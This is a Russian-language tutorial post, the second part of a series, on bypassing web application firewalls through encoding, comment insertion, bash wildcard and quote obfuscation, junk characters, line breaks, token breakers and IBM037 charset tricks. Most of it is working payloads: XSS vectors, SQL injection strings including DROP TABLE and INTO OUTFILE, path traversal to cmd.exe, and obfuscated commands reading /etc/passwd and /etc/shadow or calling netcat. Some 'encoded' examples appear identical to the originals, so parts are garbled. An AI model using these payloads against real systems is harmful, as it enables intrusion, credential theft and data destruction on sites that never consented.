WAF (Web Application Firewall). Часть 2

WAF (Web Application Firewall). Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Веб-приложения кодируют специальные символы в HTML. Кодирование и рендеринг соответственно. Базовые случаи обхода с числовой и общей кодировкой HTML.

Basic Request:

"><img src=x onerror=confirm()>

Encoded Payload:

"><img src=x onerror=confirm()>

Encoded Payload:

"><img src=x onerror=confirm()>

5. Техника смешанного кодирования

Такие правила часто имеют тенденцию отфильтровывать определенный тип кодирования. Такие фильтры можно обойти с помощью полезных данных смешанного кодирования. Новые строки и вкладки и дальнейшая обфускация.

Obfuscate Payload:

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

6. Использование техники комментариев

Комментарии скрывают стандартные векторы полезной нагрузки. Различные полезные данные имеют разные способы обфускации.

Blocked by WAF:

<script>confirm()</script>

Bypassed Technique:

<!--><script>confirm/**/()/**/</script>

Blocked by WAF:

/?id=1+union+select+1,2--

Bypassed Technique:

/?id=1+un/**/ion+sel/**/ect+1,2--

Вставляйте комментарии в середину строк атаки. Например, / *! SELECT * / может игнорироваться WAF, но передаваться целевому приложению и обрабатываться базой данных mysql.

Example in URL:

index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#

Example in URL:

index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

7. Метод двойного кодирования

Фильтры брандмауэра веб-приложений обычно кодируют символы для защиты веб-приложения. Плохо разработанные фильтры (без фильтров рекурсии) можно обойти с помощью двойного кодирования.

Basic Request:

http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

Obfuscate Payload:

http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Basic Request:

<script>confirm()</script>

Obfuscate Payload:

%253Cscript%253Econfirm()%253C%252Fscript%253E

8. Техника обфускации подстановочных знаков

Глобальные шаблоны используются различными утилитами командной строки для работы с несколькими файлами. Мы можем изменить их для запуска системных команд.

Basic Request:

/bin/cat /etc/passwd

Obfuscate Payload: 

/???/??t /???/??ss??

Used chars: 

/ ? t s

Basic Request: 

/bin/nc 127.0.0.1 443

Obfuscate Payload: 

/???/n? 2130706433 443

Used chars: 

/ ? n [0-9]

Техника создания динамической полезной нагрузки: Языки программирования имеют разные шаблоны и синтаксис для конкатенации. 

Это позволяет нам создавать полезные данные, которые могут обходить многие фильтры и правила. 

Basic Request: 

<script>confirm()</script>

Obfuscate Payload: 

<script>eval('con'+'fi'+'rm()')</script>

Basic Request: 

/bin/cat /etc/shadow

Obfuscate Payload: 

/bi'n'''/c''at' /e'tc'/sh''ad'ow

Bash допускает конкатенацию путей для выполнения. 

Basic Request: 

<iframe/onload='this["src"]="javascript:confirm()"';>

Obfuscate Payload: 

<iframe/onload='this["src"]="jav"+"as cr"+"ipt:con"+"fir"+"m()"';>

9. Junk Characters Техника

Простые полезные данные легко фильтруются WAF. Добавление некоторых нежелательных символов помогает избежать обнаружения (только в определенных случаях). 

Этот метод часто помогает запутать брандмауэры на основе регулярных выражений. 

Basic Request: 

<script>confirm()</script>

Obfuscate Payload: 

<script>+-+-1-+-+confirm()</script>

Basic Request: 

<BODY onload=confirm()>

Obfuscate Payload: 

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

Basic Request: 

<a href=javascript;alert()>ClickMe

Bypassed Technique: 

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe

10. Техника разрывов строк

Многие WAF с фильтрацией на основе регулярных выражений эффективно блокируют множество попыток. Техника разрыва строки (CR и LF) может нарушить регулярное выражение брандмауэра и обойти его. 

Basic Request: 

<iframe src=javascript:confirm(hacker)">

Obfuscate Payload: 

<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">

11. Техника неинициализированных переменных

Фильтры на основе неправильных регулярных выражений можно обойти использованием неинициализированных переменных bash. Такое значение равно нулю и действует как пустые строки. Bash и Perl допускают такие интерпретации. First Level Obfuscation: 

Normal 

  • Basic Request: 
  •  /bin/cat$u /etc/shadow$u 

Second Level Obfuscation: 

Position Based 

  • Basic Request: 
  •  $u/bin$u/cat$u $u/etc$u/shadow$u 

Third Level Obfuscation: 

Random characters 

  • Basic Request: 
  •  $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff 

12. Техника табуляции и перевода строки

Вкладки часто помогают обойти брандмауэры, особенно основанные на регулярных выражениях. Вкладки могут помочь сломать регулярное выражение WAF, когда регулярное выражение ожидает пробелы, а не табуляции. 

Basic Request: 

<IMG SRC="javascript:confirm();">

Bypassed Technique: 

<IMG SRC=" javascript:confirm();">

Variant: 

<IMG SRC=" jav ascri pt:confirm ();">

Basic Request: 

http://test.com/test?id=1 union select 1,2,3

Bypassed Technique: 

http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

Basic Request: 

<iframe src=javascript:confirm()></iframe>

Obfuscate Payload: 

<iframe src=j a v a s c r i p t :c o n f i r m %28 %29></iframe>

13. Token Breakers Техника

Атаки на токен - это попытка нарушить логику разделения запроса на токены с помощью средств защиты токенов. Взломщики токенов - это символы, позволяющие повлиять на соответствие между элементом строки и определенным токеном. Наш запрос должен оставаться в силе при использовании взломщиков токенов. Пример использования: неизвестный токен для токенизатора. 

Our Payload: 

?id=‘-sqlite_version() UNION SELECT passwords FROM users --

Пример: неизвестный контекст для синтаксического анализатора (обратите внимание на неконтекстную скобку) 

First Payload: 

?id=12);DROP TABLE users --

Second Payload: 

?id=133) INTO OUTFILE ‘xxx’ --

14. Техника обфускации в других форматах

Многие веб-приложения поддерживают разные типы кодировки и могут интерпретировать кодировку. Нам всегда нужно обфускировать полезную нагрузку в формат, не поддерживаемый WAF, но сервер может переправить нашу полезную нагрузку.

Случай IIS:

IIS 6, 7.5, 8 и 10 допускают интерпретацию символов IBM037.

Отправьте закодированные параметры с запросом:

Original Request:

POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--

Obfuscated Request with URL Encoding:

POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99

Заключение

Подведем итог всему написанному выше: 

  • Всегда мыслите нестандартно
  • Попробуйте разные методы кодирования, и некоторые из них будут работать
  • Не поленитесь проверить записи DNS, так как только тогда вы добьетесь успеха в поиске ошибок.
  • Не забывайте, что любую защиту можно обойти в веб-ресурсах и WAF не панацея от всех проблем
  • Хакеры не дремлют и всегда ищут новые методы атаки на ваши ресурсы и получения прибыли

Источник



Report Page